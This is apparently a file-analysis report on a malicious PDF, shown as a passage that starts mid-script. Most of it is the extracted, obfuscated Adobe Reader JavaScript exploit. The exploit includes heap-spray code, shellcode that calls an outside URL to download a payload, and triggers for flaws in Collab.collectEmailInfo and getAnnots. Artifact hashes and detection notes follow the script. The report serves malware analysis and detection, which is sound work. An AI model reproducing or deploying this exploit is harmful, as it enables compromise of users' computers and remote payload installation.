W_41Sb1vc5vD2Ia);var D_5n_yo__5H6 = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var GS_4JiW5XN4Uj1 = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%u15e9%u0001%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u00a9%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0093%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u10ec%u0001%u8b00%u83dc%u0cc3%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302%u8043%u003b%ufa75%u7b81%u2efc%u6c64%u756c%u8303%u08eb%u0389%u43c7%u2e04%u6c64%uc66c%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8%u1d75%u016a%ueb83%uc70c%u7203%u6765%uc773%u0443%u7276%u3233%u43c7%u2008%u732d%u5320%u56ff%u5a04%u8359%u04c2%u8041%u003a%u9d75%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%ue6e8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6370%u4953%u0066%u7468%u7074%u2f3a%u6c2f%u6564%u6b71%u6d6b%u6f6c%u6b78%u632e%u6d6f%u6e2f%u6574%u502f%u4f52%u2e58%u6870%u2f70%u4879%u6338%u6565%u6432%u6266%u3056%u3031%u6630%u3630%u3030%u3630%u3852%u3037%u3630%u3761%u3136%u3230%u6354%u6630%u6265%u3664%u3263%u3330%u306c%u3030%u0063";app.S76spQh = unescape(Ta2UC780_7_Up2(GS_4JiW5XN4Uj1, aX_gbt_H));var S_LhVNmN455k_n = 0x400000;var P_PXLef = D_5n_yo__5H6.length * 2;var kgkE6_4__28d = S_LhVNmN455k_n - (P_PXLef+0x38);cBpu8R_wR = F7_hwIVV(cBpu8R_wR, kgkE6_4__28d);var s___j_314_FvCn = (wOL_I4___5JAj1 - 0x400000)/S_LhVNmN455k_n;for (var m_qU81 = 0; m_qU81 < s___j_314_FvCn; m_qU81++) {h_K60Kph_Do[m_qU81] = cBpu8R_wR + D_5n_yo__5H6;}}function YRYeRa5_8K_3aB(){var E_7im_KhtJPo6lm = "";for (J3dv_tgx550 = 0; J3dv_tgx550 < 12; J3dv_tgx550++) {E_7im_KhtJPo6lm += unescape("%u0c0c%u0c0c");}var l__3__STaB6e7 = "";for (J3dv_tgx550 = 0; J3dv_tgx550 < 750; J3dv_tgx550++) {l__3__STaB6e7 += E_7im_KhtJPo6lm;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: l__3__STaB6e7});app.clearTimeOut(a3F_pJy3_8UJwX);}function gPJcmT5q8(jLN_Ox){var U_0_8_N_cOV0q = a3F_pJy3_8UJwX;if ((jLN_Ox >= 8 && jLN_Ox < 8.11) || jLN_Ox < 7.1) {u_0X_1__a(23, "%u0c0c%u0c0c", jLN_Ox);app.bR__s2x1e = YRYeRa5_8K_3aB;a3F_pJy3_8UJwX = app.setTimeOut("app.bR__s2x1e()", 1);} if (jLN_Ox < 7.12) {function F__PyB_gp_8W83() {try {u_0X_1__a(22, "%u0c0c%u0c0c", jLN_Ox);var d_K6O0P5o = -0x7CFCFCFD;this.getAnnots(d_K6O0P5o, d_K6O0P5o, d_K6O0P5o, d_K6O0P5o);} catch(e) {console.println("annots exception error"); }}F__PyB_gp_8W83();}u_0X_1__a(13, "%u0c0c%u0c0c", jLN_Ox);if (U_0_8_N_cOV0q) {app.clearTimeOut(U_0_8_N_cOV0q);}}var W_41Sb1vc5vD2Ia = 0;var sMpCHY = app.plugIns;for (var g_e_PfIgElf = 0; g_e_PfIgElf < sMpCHY.length; g_e_PfIgElf++) {var J4Ei_fils = sMpCHY[g_e_PfIgElf].version;if (J4Ei_fils > W_41Sb1vc5vD2Ia) { W_41Sb1vc5vD2Ia = J4Ei_fils; }}if (app.viewerVersion == 9.103 && W_41Sb1vc5vD2Ia < 9.13) {W_41Sb1vc5vD2Ia = 9.13;}if (!(W_41Sb1vc5vD2Ia < 9 || W_41Sb1vc5vD2Ia >= 9.2) ||    !(W_41Sb1vc5vD2Ia < 8 || W_41Sb1vc5vD2Ia >= 8.17) ||    !(W_41Sb1vc5vD2Ia < 7 || W_41Sb1vc5vD2Ia >= 7.14)) {gPJcmT5q8(W_41Sb1vc5vD2Ia);}
icc_00_off0007d698.icc pdf-icc-profile PDF ICC profile at offset 0x7D698 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
font_00_sfnt_off00000e5a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xE5A 46764 bytes
SHA-256: afeb9e1e920aae3aca3f295f1bbccba46b16423dac14b1b5fde4b661de9198cc
font_01_sfnt_off00008483.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x8483 62160 bytes
SHA-256: 5f96e1e90c4ef56487c91d02c05141dca0967f8e2bbd5d67be6c4f381f0afa79
font_02_sfnt_off00011b6b.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x11B6B 37232 bytes
SHA-256: d375c22ace40f0b973d7308d85023b2e0e49d40dc51da45552d116868346475e
font_03_sfnt_off000166cd.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x166CD 71216 bytes
SHA-256: b661c2e877dd6b7625208ae148d736aedb24eda2d4f014262cbb7f958f538ca0
font_11_sfnt_off0006dc7e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x6DC7E 11156 bytes
SHA-256: 8b62f203a4ab5c2ac76368029c584b4fa12fffc17f3b6e4e43a9997416807d21
font_12_sfnt_off00072f31.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x72F31 32640 bytes
SHA-256: 6cf6df6beee88aa138f821122d0c1969b348cebe09cafe5b5f6a7eb8c27107a0
font_13_sfnt_off00087781.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x87781 22628 bytes
SHA-256: 95592346b00d039686aa3d7e22eae3d52b011e7e842a5c123f73e89ea766cd35
u3d_00_off000214e6.bin pdf-3d-stream PDF U3D 3D stream at offset 0x214E6 27449 bytes
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.

Open this report in the interactive analyzer, or submit your own file for analysis.